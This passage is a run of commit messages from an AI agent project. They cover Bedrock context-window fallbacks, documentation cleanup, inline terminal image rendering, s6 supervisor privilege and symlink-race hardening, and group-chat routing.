  256K, Gemma 4 26B/31B 256K, MiniMax M2.1/M2.5 196K, Devstral 2 and Mistral Large 3
  256K, Kimi K2.5/K2 Thinking 256K, Kimi K3 1M, Qwen3 Coder 256K, GLM 4.7 203K, GLM 5
  200K, GLM 5.3 1M.

Every entry stays at or below the model_metadata value for the same bare ID. That
invariant was stated in a comment; a test now enforces it for every row. Cards above
their model_metadata row (MiniMax M2, DeepSeek V3.2, Nemotron 3, Qwen3 235B/Next/VL)
are left for a catalog fix first. Llama 4 is left to #106492, whose measured windows
differ from the cards.
get_bedrock_context_length only knew BEDROCK_CONTEXT_LENGTHS, so a model the table had
not caught up with got the 128K default even when model_metadata.DEFAULT_CONTEXT_LENGTHS
already listed it. GPT-6.1 Terra was exactly that case for the 9 days between
a382af23f4 and this fix.

The resolver now runs: probe -> Bedrock table -> catalog family window -> 128K default.
A new bedrock_static_context_length() does the offline part. The family step applies
only to Anthropic, OpenAI and xAI IDs (bare, geo/global-prefixed, or inside a
foundation-model / inference-profile ARN). On the current cards, those issuers'
catalog rows match the Bedrock windows: 34 cards, 27 equal, 6 below, 1 above. The one
above is GPT-6.1 Sol (1,050,000 in the catalog vs a 1M card), and its own table row
wins.

Other issuers keep the default. Their catalog rows are vendor-direct windows that can
exceed what Bedrock serves: Llama 3 8B has an 8K card but the "llama" row is 131,072,
and Qwen3 32B has a 32K card but "qwen" is 131,072. Borrowing those would replace a
too-early compression with an oversized request that Bedrock rejects.

The default stays at 128K; the PR body gives the evidence. The fallback WARNING for
an application-inference-profile ARN now also says it is a fallback, not a detected
limit, and both warnings name the per-model override
model_overrides.bedrock.<model id>.context_window next to model.context_length.
The gateway session line printed "◆ Context: 128K tokens (detected)" for a Bedrock
model no source knew. _resolve_gateway_model_context recognised only the generic 256K
DEFAULT_FALLBACK_CONTEXT as a default, so Bedrock's static 128K was reported as
detected. The CLI surfaces showed the number with no source at all.

agent/context_pin.py already labels a model.context_length pin "(pinned)" on those
surfaces (#66168). This commit extends the same helper with a "fallback" marker:

- is_fallback_context_length(window, model=, provider=, base_url=) is True only when
  the window equals the resolver's default for that route and no local source knows
  the model. On Bedrock the default is BEDROCK_DEFAULT_CONTEXT_LENGTH, and the checks
  are the table/family step, a provider-confirmed cache row and model_overrides. The
  generic route uses DEFAULT_FALLBACK_CONTEXT, the catalog, models.dev and
  custom_providers. It does only local reads, memoised for 60s because the status bar
  repaints often. It fails open and never probes.
- Labelled surfaces: the gateway session line (via context_source "default", now
  worded "fallback, not a detected limit"), CLI and gateway /usage, the wide status
  bar (new cli.status_bar.ctx_fallback key in all 17 locales), the welcome banner,
  and the CLI and gateway /model switch summary.

No new config key. The override is unchanged: model.context_length, or
model_overrides.<provider>.<model>.context_window.
The fallback marker re-derived the resolver's answer from a few local
sources, so a window a custom endpoint reported through /models (or a
local probe, provider profile, live catalog) read as "fallback" whenever
it equalled the default. Its 60s memo was also keyed without the profile
home, so one multiplexed profile's verdict labelled another's window.

get_model_context_length now records when it ended on a static default
(the generic 256K or Bedrock's 128K) per (profile home, model, base_url),
and the marker reads that record. The memo is gone.

Gateway /model drops the configured pin for a changed route before both
the number and its label, through the same helper resolve_display_context_length
uses, so a discarded 128K pin no longer shows "(pinned)" over a fallback.
/status and /context now carry the same label as /usage for resident
agents and non-resident sessions.

Addresses Greptile review on #148801.
The per-route record held only the latest lookup, so a second session that
detected the same window on a route cleared the label of an agent still
running on its earlier default. The compressor now keeps the source of its
own lookup (last_defaulted_context_length, read right after it resolves) and
the agent label reads that.

A nested lookup that defaults (a MoA preset's aggregator) now marks the outer
resolution too, so the preset's window keeps "fallback".

Addresses Greptile review on #148801 (f6e7d756).
`web_extract` stopped summarizing with an LLM when it moved to deterministic
head+tail truncation (the full text is stored for `read_file` paging), so no
code path reads `auxiliary.web_extract` any more: the key is absent from
`DEFAULT_CONFIG["auxiliary"]`, from `_AUX_TASKS` (hermes_cli/main_provider_setup.py)
and from `_AUX_TASK_SLOTS` (hermes_cli/web_server_config.py), which is what the
dashboard and desktop pickers render. The leftover block in a user's config.yaml
is intentionally ignored (config_defaults.py says so in a comment).

The Configuring Models guide still told users to override a Web Extract side
model "when you use web_extract heavily", which is the one thing that makes the
setting silently do nothing. This drops that row and, while the table is being
brought back in sync with the picker, adds the two slots it was missing
(Review, Voice Chat) and fixes the slot count in the surrounding copy (12, not
11), so the "Common override patterns" table now names exactly the slots
`_AUX_TASK_SLOTS` serves.

Refs #147807
Follow-up to the Web Extract removal:

- Review row: `/review` is a full independent subagent, and its own guide
  (features/delegation.md "Review model") pins a strong model, so advise a
  separate (often stronger) model instead of a cheaper one; drop the
  "async delegation rail" internals and link the canonical section.
- Voice Chat row: drop the source-file path, say that reasoning is off on
  voice turns even on `auto` and that GPT-Live ignores the slot, link
  features/voice-mode.md "Voice chat model".
- Drop the hard-coded slot count: "11" went stale because nothing ties it
  to `_AUX_TASK_SLOTS`, and plugin-registered tasks add rows anyway. The
  intro gives examples and links the table instead of a partial list.
- Apply the same corrections to the zh-Hans mirror, which still listed
  Web Extract and 11 slots.
- Remove the remaining "web extraction" mentions from aux-task lists in
  the CLI aux picker prose, fallback-providers, agent-loop, integrations
  index and the --usage-file paragraph.

Refs #147807
- The configuring-models table lists the slots the dashboard exposes, not
  every auxiliary task (goal_judge, memory_query_rewrite and others are
  config-only), so say that and link the canonical Auxiliary Models
  reference; "All auxiliary tasks" assigns the slots on the page.
- /review does not take a fallback_chain (it resolves credentials like a
  delegation pin), so the agent-loop and integrations fallback sentences
  name vision, compression and title generation instead of "every task".
- Remove "web extraction summarization" / "web summarization" from the
  aux-task lists in adding-providers, provider-runtime and
  integrations/providers, and the zh-Hans copies of those pages plus
  agent-loop and integrations/index.
- zh-Hans: drop "offloaded to smaller models" from the intro, which
  contradicted the Review row, and pin the {#setting-auxiliary-models} and
  {#auxiliary-models} heading ids the new links point at.

Refs #147807
- configuring-models: the config-reference link no longer promises YAML
  keys for every slot (the reference lacks several of them); Review and
  Voice Chat rows phrase their advice as advice, not as defaults, and
  stop implying an `auto` review is not independent.
- adding-providers (EN + zh): drop "session-search summaries" next to the
  removed web-extraction bullet; session_search has no aux LLM either.
- zh fallback-providers intro still listed web extraction as a fallback
  side task; zh Review link text matches the delegation page title.
- integrations/providers: compression is not a tool, say "features".

Refs #147807
SameSite=Lax still sends the dashboard session cookies from a same-site sibling such as another localhost port or a sibling subdomain, and outside the Webapp the gate admitted any cookie-authenticated write. The gate now refuses a cookie write, sign-out included, when the browser's own Sec-Fetch-Site verdict is same-site or cross-site. Requests without Fetch Metadata keep the current rule, so a page behind a Host-rewriting plain-HTTP proxy still writes; the Webapp keeps its stricter own-origin check.
Skills Hub search/install is deterministic; nothing calls
call_llm(task="skills_hub"). Removes the slot from DEFAULT_CONFIG, the CLI
picker, the dashboard and Desktop task lists (+ their locale strings) and
the docs, as requested in the review of #40710.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
- locales/_keys.desktop.json: drop settings.model.tasks.skills_hub.{label,hint}.
  The committed key list mirrors the English catalog
  (apps/desktop/scripts/i18n-keys.test.mjs runs `--check`), and the rows were
  removed from en_aux_tasks.ts.
- zh-Hans configuring-models still had the Skills Hub row claiming that
  `hermes skills search` uses the slot; the developer-guide provider-runtime
  lists (EN + zh) still named "skills hub operations" as an aux task.
- Pin the removal: no built-in surface (DEFAULT_CONFIG, the `hermes model`
  picker, the dashboard REST allowlist, the web and desktop rows) offers the
  slot, and a config that still carries an auxiliary.skills_hub block loads.

Refs #40703, #142403
- Drop the assertions that read web/desktop TS sources (tests/AGENTS.md bans
  source-reading tests); the frontends get their own auxTaskRows tests.
- The leftover-block test now proves the block is inert: it survives
  load_config(), the "reset to main" stale-pin nudge ignores it, a direct
  assignment is rejected with 400, and assign-all leaves it untouched.
- config_defaults: rewrap the merged note so the removal and the Compression
  notes sit on separate lines (net -1 line under the file cap).
- integrations/providers: OpenCode session-header list no longer names
  "skills-hub lookups" as an auxiliary call.

Refs #40703
The kitty/iTerm2/sixel/half-block encoders, terminal detection and the kitty
Unicode-placeholder grid lived in agent/pet/render.py, though nothing in them
is pet-specific. Move them to agent/terminal_image.py so inline images can use
them too; the pet keeps its spritesheet decode and PetRenderer.

The Ink half-block and placeholder painters get generic names for the same
reason (petSprite.tsx -> cellImage.tsx: HalfBlockImage, KittyImage).

No behaviour change; the detection tests move with the code.
Attached images (/paste, /image, drag-and-drop) and the local image a tool
produced or looked at now render under their scrollback line instead of
showing only a path. Which image a tool shows comes from named fields
(image_url, url, path, image_path, screenshot_path; result before args), the
rule the desktop's tool preview uses, so a file listing never floods the
transcript.

Images print as ordinary text rows so scrollback replay and its row
accounting keep working: kitty Unicode placeholders where they paint (kitty,
Ghostty), truecolor half-blocks elsewhere, including tmux, WezTerm, iTerm2 and
VS Code. The kitty transmit and id color ride prompt_toolkit's zero-width
escape brackets; its ANSI printer would otherwise drop the APC and quantize
the color that carries the image id to 256 colors. Rows print one per call:
a whole truecolor image in one write overruns the Windows console write and
loses its tail rows.

display.inline_images: auto | kitty | unicode | off (default auto).
The TUI shows the same images as the CLI: a user turn's attachments under
its row, and a tool's image in its own transcript row under the trail line
that made it (anchored like inline diffs).

- tool.complete carries image_path, from both the sidecar gateway
  (tool_progress) and the shared gateway's local-viewer fields
  (local_viewer_events.complete_fields), so canonical sessions get it too.
- image.render lays an image out for the client: kitty placeholders when the
  TUI owns a terminal that paints them, half-block cells otherwise, nothing
  when display.inline_images is off or the file is not a readable image.
- <InlineImage> paints both with the generic cell painters. Renders are
  cached across virtual-scroll remounts and each kitty image goes over the
  tty once per process.
In the classic CLI these terminals drew images as coloured half-block
characters (two pixels per cell), so a screenshot came out grainy. They all
speak the iTerm2 inline-image protocol, which draws real pixels.

That protocol paints at the cursor and owns no text cells, which is why it
was left out: prompt_toolkit's scrollback can't measure it. The CLI now
reserves the image's rows as blank lines, then from the last one saves the
cursor, moves up, draws the image pinned to exactly cols x rows cells, and
restores the cursor. The rows exist in the scrollback, so replay, resizes
and later turns keep their layout.

`auto` picks it in iTerm2, WezTerm and Konsole (KONSOLE_VERSION); tmux and
VS Code keep half-blocks. `display.inline_images: iterm` forces it. The TUI
is unchanged: Ink re-lays out its frame, so it cannot reserve rows to draw
over, and `resolve_inline_mode` only offers `iterm` to a painter that says
it can (`overlays=True`).
encode_iterm sent size= as the base64 length. iTerm2 tolerates that, but
xterm.js (the VS Code terminal) drops the image, so a pet or image in
`iterm` mode drew nothing there. The inline-image path now shares the
same encoder, pinned to its reserved cell box.
render_inline_image ran exif_transpose(...).convert("RGBA") on the full
image before downscaling, and Image.draft() is a no-op for PNG, so a
169 MP PNG (under Pillow's bomb error, only a warning) decoded in full:
2.3 s and 1.4 GB RSS synchronously on the CLI agent thread for a
64-column preview.

The preview now reads the grid from the header size (EXIF rotation
included), drafts JPEGs to the real target box, refuses a frame past a
40 MP preview cap before any pixel decodes, treats
DecompressionBombWarning as a refusal, and thumbnails before the
transpose/convert. A 24 MP JPEG preview takes ~0.24 s.
tool_image_path ignored the tool and its outcome: it returned any
existing image named by a result field or by the args `path`/`url`/
`image_url`. So the CLI, the TUI sidecar and the canonical gateway's
local viewer drew the picture for a read_file of a PNG that failed with
"Cannot read binary file", a refused patch, a failed vision_analyze and
a write_file to x.png - each looking like the call succeeded.

It now takes the tool name and the call's error verdict: a failed call
shows nothing; args count only for vision_analyze (`image_url`);
results count for image_generate (`image`) and for any tool's
`image_path`/`screenshot_path` (browser_exec, computer_use), including
a multimodal envelope's `meta`. Every caller passes the verdict it
already has: the CLI hook's is_error, the canonical gateway's
_detect_tool_failure result, and the same detection in the TUI sidecar.
utils.safe_json_loads caught JSONDecodeError/TypeError/ValueError but
not RecursionError, which json.loads raises on a deeply nested body.
Since tool_image_path (and _detect_tool_failure) parse the result with
it, such a result raised out of the TUI sidecar's _on_tool_complete and
the canonical gateway's complete_fields and the whole tool.complete
frame was lost; base parsed the same result under `except Exception`.

The shared helper now treats RecursionError as a parse failure, which
fixes every caller of the "returns default on bad JSON" contract.
image_lines put the whole kitty APC transmit (70 KB-1 MB of base64)
inside the first placeholder row, and the iTerm2 OSC 1337 overlay
(ESC7 ESC[{rows-1}A <image> ESC8) inside the last reserved row, and
those rows went into _OUTPUT_HISTORY. On a resize replay that keeps a
row only in part, _ansi_drop_cells walked the transmit char by char and
cut it into visible base64; a cropped iTerm2 region kept the cursor-up
and drew the image over the replayed text above it. prompt_toolkit's
ANSI parser also walked the full transmit on every _cprint, _line_rows
and replay (35-800 ms on the UI loop), and every resize re-sent it.

_cprint takes a `raw` escape now, written verbatim as one zero-width
fragment after the row and never recorded; image_rows hands the
transmit there and history holds only the placeholder or blank rows.
kitty keeps the image by id, so replayed placeholders still show it.
An iTerm2 image is pixels over its reserved rows, so a replay repaints
those rows blank: the picture is lost from the redrawn viewport
(scrollback keeps it) instead of overpainting text. The overlay now
also steps past the row indent, as the placeholders do.

_ANSI_SEQUENCE_RE matches prompt_toolkit's \001...\002 brackets whole,
so a cropped placeholder row keeps the exact truecolor that names its
image instead of a split bracket the parser quantizes.
`auto` checked TMUX but not STY. Inside kitty, GNU screen inherits
KITTY_WINDOW_ID and swallows the APC, so the placeholders stayed blank;
it now treats both multiplexers alike, as hermes_cli/cli_render.py's
_MULTIPLEXER_ENV already does (agent/ keeps its own tuple: it must not
import hermes_cli).

The docstring and the CLI guide said pinning `kitty` works through a
tmux with allow-passthrough, but the transmit was never DCS-wrapped, so
tmux dropped it. The classic CLI now wraps its kitty and iTerm2
transmits with the OSC 52 clipboard's existing tmux wrapper (extracted
as _tmux_passthrough); the docs say which surfaces it covers.
CLI attachments are accepted against cli._IMAGE_EXTENSIONS (it includes
.tiff/.tif/.ico) and print_inline_images drew whatever Pillow opened,
while image.render filtered through terminal_image.IMAGE_EXTENSIONS
(no tiff/ico), so a .tiff attachment drew in the CLI but not the TUI.

One private set of Pillow-renderable extensions in agent/terminal_image
now gates both: local_image_path (image.render, tool images) and
print_inline_images. INLINE_IMAGE_MODES and the old IMAGE_EXTENSIONS had
no outside users and are private now.
Review cleanups in agent/terminal_image.py:
- half_block() is the one truecolor half-block cell painter, used by
  the CLI scrollback and encode_unicode (the pet preview), replacing
  cli_inline_images._half_block and encode_unicode's inner cell(). The
  pet preview now leaves a transparent half on the terminal background
  instead of painting the transparent pixel's RGB (usually black).
- resolve_inline_mode: two early returns instead of the folded
  `"unicode" if mode != "off" else "off"`.
- png_b64 and KITTY_PLACEHOLDER are private: nothing outside the
  module (tests, tui_gateway, ui-tui) used them.
- InlineImage.image_id is gone: no production reader, and `color`
  already carries the id.
appendToolShelfMessage walked back past a kind 'image' segment (role
system, empty text) and merged the next tool call into the trail above
it, so the picture ended up under a call that did not make it, live
(groupedSegments) and in settled history alike. Treat images as a
barrier, like diffs.
The process-wide render cache was keyed (path, width) and never evicted:
a second screenshot to the same path, or an image regenerated in place,
painted the first picture, and a cached `off` stuck even after the file
appeared or the config changed.

- Key on (path, revision, width); a tool image's revision is its tool
  call id (Msg.imageRevision), so each call asks the gateway once and the
  engine's mtime-based kitty id takes effect. Attachments keep no
  revision: each is staged under a fresh uuid path.
- Never keep `off` (or a dropped request); the next mount asks again.
- A 48-entry LRU, and the kitty transmit (often 50-500 KB of base64) is
  dropped from the entry once written; the write moved into the
  single-flight `.then`, so every mount of a key shares it.
Every size of a file shares one image id (the placeholder color), and
`a=T,U=1,i=` replaces the terminal's single virtual placement for that
id. The transmit dedupe was keyed (id, size), so a resize A -> B -> A,
or the same file as an attachment and a tool image (different gutters,
different widths), skipped the re-send and painted A's cells with B's
grid.

Track the size the terminal holds per id instead, write inside the
single-flight render, and treat a cached kitty render whose size was
displaced as stale, so its next mount fetches a fresh transmit.
estimatedMsgHeight counted a kind 'image' row as a text line plus a
one-row gap plus INLINE_IMAGE_MAX_ROWS per image, but the row renders
without `spaced` and has no text, so every tool image was reserved two
rows too tall before Yoga measured it. Attachments under a user turn
keep their gap.

Also pins the first-frame seed (the render cache commit): a virtual
scroll remount of a resolved image paints with its real height
synchronously instead of estimate -> 0 -> real.
One gateway serves many clients by design, but image.render's `auto`
mode read KITTY_WINDOW_ID/TERM/TMUX from the daemon's own os.environ,
and the TUI only sent `graphics: isTTY`. A kitty TUI attached to a
daemon Desktop started got half-blocks; a daemon started from kitty sent
placeholders to an iTerm/VS Code/dashboard TUI, which paints tofu.
pet.cells had the same flaw (detect_terminal_graphics in
_pet_kitty_cells), so it gets the same field.

- ui-tui lib/terminalGraphics.ts picks kitty/unicode from the TUI's own
  env (TERM, TERM_PROGRAM, KITTY_WINDOW_ID, GHOSTTY_RESOURCES_DIR,
  WezTerm, VS Code, the dashboard PTY, and TMUX/STY: screen swallows the
  APC too) and sends it as `terminal` on both RPCs.
- resolve_inline_mode takes the remote painter's pick as `detected`
  (keyword-only; the classic CLI keeps reading its own env). A client
  that declares nothing gets half-blocks; a pinned `kitty` stays the
  user's explicit opt-in.
- ImageRenderParams.graphics is `bool = False` like PetCellsParams;
  contracts regenerated.
ImageRenderResponse hand-copied the generated contract type; import
ImageRenderResult from @hermes/shared/gateway-events like the other
RPC results. The CLI's _MAX_COLS/_MAX_ROWS and the TUI's
INLINE_IMAGE_MAX_* are the same budget in two languages: say so on both.
image.render accepted the caller's cell budget without an upper bound. The
TUI asks for at most 64x16, but any other RPC caller could ask for 5000x5000
and get a reply of millions of integers for one big image. The handler now
clamps the budget to the TUI's own caps (mirrored constants).

Adds a test that writes a real config.yaml and drives display.inline_images
through the gateway's own loader (off -> no preview, unicode -> capped).
The decode cap ran after getexif(), and a PNG without an EXIF chunk
reads it by loading the whole image: a 6500x6500 PNG decoded all 42M
pixels before being refused. Check the header size first for formats
that cannot draft-scale; JPEG still drafts, then hits the same cap.
read_file cannot read images (the binary guard refuses them and failed
calls show nothing), so it is no longer listed as a source. Note that an
iTerm2-protocol image leaves blank rows when a resize redraws the
transcript and stays visible only in the scrollback.
An image-only transcript row is estimated at 16 rows until Yoga measures
it. When the gateway answers `off` (previews disabled, unreadable file) the
row really lays out at 0 rows, but useVirtualHistory rejected every
non-positive measurement (`h > 0`, from the first virtualizer, and later
validVirtualItemHeight), so the estimate stuck: 40 disabled image rows
kept 640 virtual rows and a 624-row top spacer.

A measurement now reads NaN when there is no Yoga node, so "not
measured" and "0 rows" stay distinct; a measured or cached 0 is kept,
while estimates keep their positive floor. The useMainApp cache sync no
longer drops a 0 either.

With `display.inline_images: off` (or YAML's bare `off` -> false) the TUI
now reserves no image rows and draws no images at all, without asking
the gateway; the height cache bucket is keyed on the setting.
The render cache keys on (path, revision, cols), and only tool images
carried a revision; user attachments relied on staged paths being
unique. The legacy attach path (image.attach) keeps the user's own file
path, so re-attaching a file overwritten in place reused the previous
turn's pixels with no new image.render request.

beginOwnedTurn now stamps each user turn that carries images with its own
imageRevision, so every occurrence asks the gateway once and remounts of
that turn still hit the cache.
Every size of one file shared a kitty image id, and an a=T,U=1 transmit
replaces that id's single virtual placement. Two sizes on screen at once
(an attachment and a tool result at different widths) therefore fought
over one placement and one of them painted with the other's grid. The id
now hashes the grid too, so each size owns its placement; the TUI already
tracks what the terminal holds per id, so it re-sends only on a real
change.
The inline-images and zero-height fixes added lines to useMainApp, which is
already over the 300-line target and may only shrink. Move the height-cache
bucket key and the measured-height copy into named helpers above it.
VS Code's terminal draws images only with terminal.integrated.enableImages
on, and nothing in the environment says whether it is. `auto` therefore
used half-blocks there even for users who had turned images on.

At startup (same pre-prompt_toolkit window as the light-mode OSC 11 probe)
the classic CLI now sends one XTSMGRAPHICS sixel query fenced by DA1. Only
VS Code's image addon answers XTSMGRAPHICS, so a reply means images are on
and `auto` uses the full-resolution iTerm2 path; DA1 alone means off.

Timeout, measured live in VS Code 1.145 (30 runs per deadline): the reply
lands in ~7 ms; at 8 ms some runs missed it and the late reply leaked into
the next read, at 10 ms and above every run was right with no leak. The
deadline is 50 ms for headroom; the read returns as soon as the DA1 fence
arrives, so a normal start pays ~7-10 ms. Skipped over SSH (a remote round
trip can exceed the deadline and leak into the prompt) and on Windows.

When the probe says images are off, roughly one launch in five shows a tip
instead of the random one: "VS Code can show full-resolution images here:
turn on terminal.integrated.enableImages in settings." A pinned
display.inline_images value skips both the probe and the tip.
The drain after the probe deadline ran after the tty went back to canonical
mode, where select cannot see a reply that has no newline: a VS Code that
answered after 50 ms was read as "images off". Drain while still in cbreak,
count a late fence, and skip the drain when the fence already arrived so a
normal start pays nothing extra.
probe_vscode_images stops reading after ~100 ms; a reply later than that
(seen at 120 ms) reached prompt_toolkit and was typed into the prompt
as "[?1;0;4096S[?62;4;9;22c". A longer wait only moves the edge.

Parse XTSMGRAPHICS (ESC[?1;<s>;<v>S) and DA1 (ESC[?...c) replies as
Keys.Ignore in prompt_toolkit's VT100 parser, beside the focus-report
entries, the way it special-cases CPR. No key sends either sequence, so
any late reply is now harmless whenever it arrives, and keys typed after
it still land. The PTY test now feeds the leftover tty bytes through the
CLI's parser and adds 300 ms replies past every wait.
Since the unified gateway runtime (#106742) admits every Bot Chat DM through the
session authority FIFO, these mailbox-era helpers have no production callers:

- bot_live_delivery: has_mailbox, _next_sequence (+ the .sequence counter and
  _scan_read/_warned_unreadable it alone used), claim_pending_delivery (a no-op
  "retired poller" stub), complete_delivery (tests only).
- bot_mode_dm: _delivery_lock. Local deliveries return through _admit_live_dm or
  the runtime_unavailable refusal before reaching it, and stdin (peer) mode always
  got nullcontext, so acquire_turn_lock never ran for a DM. Hosted rooms keep
  their own use of acquire_turn_lock.

Tests that only exercised the removed helpers are dropped; the receipt test now
asserts the terminal outcome the turn reports instead of writing it through
complete_delivery. No behaviour change.
Review follow-up on the previous commit:
- Comments in bot_mode_dm and bot_live_delivery no longer cite the DM turn
  lock, the sequence scan, the claim sweep or the retired twice-a-second poller.
- The two no-authority peer tests lose parameter columns that changed nothing
  for the rows given (owner_replies was True only for the non-Bot-Chat target;
  receipt and stop were constant) and the branches those columns guarded, and
  are renamed for what they assert.
- The refused-turn test no longer seeds a mailbox ticket nothing reads.
- The launcher test adds Windows backslash and non-hermes argv cases for
  _local_delivery_home, which parses argv[0] the same way the deleted lock did.
The image's root s6 scandir (/run/service) is watched by the PID-1
s6-svscan, so every slot in it runs under a root s6-supervise that
executes the slot's run/finish/log scripts as root. 02-reconcile-profiles
chowned that directory to hermes so per-profile gateway slots could be
registered at runtime, and 015-supervise-perms chowned the static
services' supervise/ and event/ trees to hermes. Both handed the
unprivileged hermes user control over what the root supervisor runs
and writes.

- Per-profile gateway slots move to /run/hermes-service, watched by a
  nested s6-svscan that runs as hermes (new s6-rc longrun
  profile-gateways). Gateways, their loggers and their supervisors now
  all run as hermes; the rendered run/log scripts already skip the
  privilege drop when non-root.
- 02-reconcile-profiles creates that scandir hermes-owned (refusing a
  symlink) and no longer touches /run/service.
- 015-supervise-perms keeps the static services' supervise/ trees
  root-owned and only grants group hermes read on status/lock and write
  on the control FIFO, leaving event/ as s6 creates it.
- hermes doctor probes the static services in the root scandir via a
  new s6_service_up() helper; S6_DYNAMIC_SCANDIR now points at the
  gateway scandir and S6_STATIC_SCANDIR names the root one.
- Docker integration tests, docs and the s6 skill follow the new
  gateway slot path.
The dashboard is a static s6 service and stays in /run/service; only profile gateway slots moved to /run/hermes-service. The supervised-run test looked for every slot in the new directory.
/run/hermes-service is owned by hermes, so a hermes process can rename
anything root creates there and leave a symlink in its place. Root
registration built `.gateway-<p>.tmp` inside it and then chmodded and
chowned every entry, so a swap mid-build handed any root-owned directory
to hermes. Root's s6-svc/s6-svwait/s6-svscanctl calls had the same
shape: they open control FIFOs and fifodirs in that tree and followed a
hermes-planted symlink (s6-svc wrote its command byte into a root 0600
file).

- Root registration builds each slot in /run/.hermes-service.staging
  (root, 0700, same tmpfs; every ancestor must be root-controlled) and
  publishes it with one rename(2), which never follows a symlink at the
  destination. Chowns use follow_symlinks=False.
- S6ServiceManager runs its s6 tools through `s6-setuidgid hermes` when
  called as root, so lifecycle control acts with hermes's own rights.
- Non-root registration is unchanged.

Tests: unit cases for the staging swap, the ancestor/staging trust
check and the s6 privilege drop; tests/docker/test_root_registration_
symlink_races.py plays the hermes process in a real container. Both
Docker cases fail with the previous service_manager.py copied in
(swap succeeds; victim file becomes "tRIGINAL") and pass now.

Reported-by: Adolanium
Multiplex migration parks named slots and starts the root slot in the
hermes-owned gateway scandir. As root it touched/unlinked `down` by path
and ran s6-svwait directly, so a hermes-planted `down` symlink updated a
root-only file and a planted `event/` symlink made s6-svwait create its
subscription FIFO inside a root-only directory.

- `_set_down_marker` opens the slot O_NOFOLLOW and creates `down` with
  O_CREAT|O_EXCL|O_NOFOLLOW (hermes-owned when root) or unlinks it,
  relative to that fd. An existing `down` entry is left alone.
- `_wait_down` goes through S6ServiceManager._s6, which runs s6 tools as
  hermes when called as root.

Tests: tests/hermes_cli/test_gateway_multiplex_s6_markers.py; a third
case in tests/docker/test_root_registration_symlink_races.py plants both
symlinks in a real container and parks the slot as root. With the
previous gateway_multiplex_s6.py copied in, the root 0600 victim's mtime
changes; with this commit it stays untouched.
s6 follows the `down` marker, so a dangling `down` symlink does not
keep a slot down. The previous commit's O_EXCL create treated any
existing entry as parked. Now a marker that resolves is left alone, and
a dangling link is unlinked (never its target) and replaced with a
regular file. Verified in the image: after parking, `down` is a regular
hermes-owned file and s6-svstat reports up=false wantedup=false.
Gateway-hosted Group Chats gain two things:

- routing "auto" (opt-in room setting; "everyone" stays the default). The
  deterministic rules run first and never reach the router: an @mention,
  @all/@everyone, a scheduled post, a message inside an existing thread. An
  unaddressed message otherwise gets ONE tool-less auxiliary.group_router call
  over the room purpose/notes, the roster (handle, name, profile description)
  and the last 5 messages, answering strict {"members": [...]} JSON. The
  answer is written as room.routed BEFORE any turn is planned, so
  plan_next_task stays a pure function of the log; a failed or invalid answer
  records a fallback to everyone. The call runs on its own thread; its answer
  is recorded only if the re-run planner still wants exactly that route, so a
  Stop or a newer message during the call discards it.
- The cap (max_rounds / max_messages) still writes room.activity bounded, and
  groups.continue (both the standalone and the gateway route) appends
  room.continued: one more budget of rounds and messages for the same
  discussion, at most 5 times. The policy checkpoint reopens the discussion's
  projection from the room log, so Continue works after a gateway restart.

Desktop: "Assigned to X" rows (names, never ids), "Paused after N messages"
with Continue and Stop, a "Continued" row, and the auto choice in Room settings
when the gateway lists it (driver_status.routing_modes). All 9 locales.
Continue read the pause and appended room.continued in two steps, while Stop
and Send append without the policy lock. A Stop plus a new message in the
gap let room.continued reset the thread's latest_user_seq behind the stop
fence, so the new message never got a turn. The append now carries
expected_latest_seq from the read; a changed log re-reads the pause (refused
when a Stop or same-thread message moved it on).

RouterCalls deduped only inside one service, and workers sharing a room
store prepare the room before taking its lease, so each could pay for the
router call. The call now starts only after winning a claim row in the shared
store (expires after 120 s so a dead worker's claim is retaken).

Tests wait with tests.waiting.wait_until instead of a sleep loop.
Each paused row scanned the whole room log (events x pauses per render).
pausedDiscussions builds every pause's count and actionable state in one
forward and one backward pass, memoized on the log, and rows take their entry.
Same class as Continue: _record_route re-planned under the policy lock and
then appended room.routed, but Stop appends without that lock, so a Stop in
the gap still got a route recorded over it. The append now carries
expected_latest_seq and a changed log re-plans (and drops a moot answer).
The cap's room.activity is written from a snapshot, so a Stop can land just
before it. That Stop fences the discussion (Continue could never reopen it),
yet the pause still read as actionable on the server and in Desktop. Both
readers now treat any Stop after the discussion's own message as final.
Router claims are lease-like and expire in 120 s, like driver leases, which the import
already skips. Copying one only delayed the next router call.
Trim #148607 to the minimal mechanism. The context panel's Compact
conversation button now confirms through the shared confirm() dialog and
then calls the session delegate's executeSlash('/compress', ...), the same
entry the overflow card's Compress button already uses. Owner routing,
stale-runtime recovery, transcript replacement, progress notices, the
deferred-completion edge and the in-flight coalesce all stay in slash.ts.

Drops the parallel compress-session module, the controller action, the
terminal-observer store and the slash.ts rewrite (~1.9k lines), and keeps
the panel copy in all locales.

The chat is captured at click time and re-checked after the confirmation
resolves (focused runtime id, busy, already compacting), so switching chats
or starting a reply while the dialog is open compacts nothing.
Two invariants: confirm runs /compress on the captured chat; a chat switch
while the dialog is open compacts nothing (red with the post-await
re-check removed).
Live Electron run: a plain Button left the context dropdown open behind the
shared confirm dialog, and the meter could not be reopened afterwards (the
open menu trapped pointer events). A DropdownMenuItem closes the menu on
select, the way the other menu-to-dialog rows do.
f3e5bd5 made the row a DropdownMenuItem so the menu closed before the
confirm dialog. That ties ContextUsagePanel to a Radix Menu ancestor, and
use-statusbar-items.lifecycle.test.tsx renders the panel content on its
own ("MenuItem must be used within Menu").

The row is a plain Button again. The statusbar dropdown now provides
StatusbarMenuCloseContext around element menuContent (a render-fn already
gets close()), and the row calls it before requesting the confirmation,
so the menu still closes first and the meter reopens after the dialog.
With a Bot group room in front, the panel targets the primary chat behind
it (consistent with the meter's numbers), but the dialog only said "this
chat". The confirm title now carries the target chat's title, falling back
to the generic question for untitled chats. New key questionNamed in en,
types and all 8 overlays; _keys.desktop.json regenerated.
Community feedback comparing against other agent TUIs asked for /new to open a
fresh session without pausing the one that is busy. On main /new refused mid-turn
("interrupt the current turn before trying to switch sessions").

- /new while a turn runs starts a new LIVE session (the switcher's `+ new` path):
  nothing is closed or interrupted, so no destructive confirm. The old session
  keeps its turn and stays in the session switcher (Ctrl+X). /new on an idle
  session and /clear are unchanged (the idle one is closed and stays resumable,
  so live agents do not pile up one per /new).
- Approval/clarify/sudo/secret/vault requests from a session that is not on
  screen no longer open over the focused session's view: they stay open on the
  backend and come back as open_requests when that session is activated.
- The live-session poll announces a background session this view showed when
  its turn finishes or it starts waiting for an answer.
The shared gateway's live session.list reports only running/idle, so a kept-running
session blocked on an approval read as still working. While a session this view
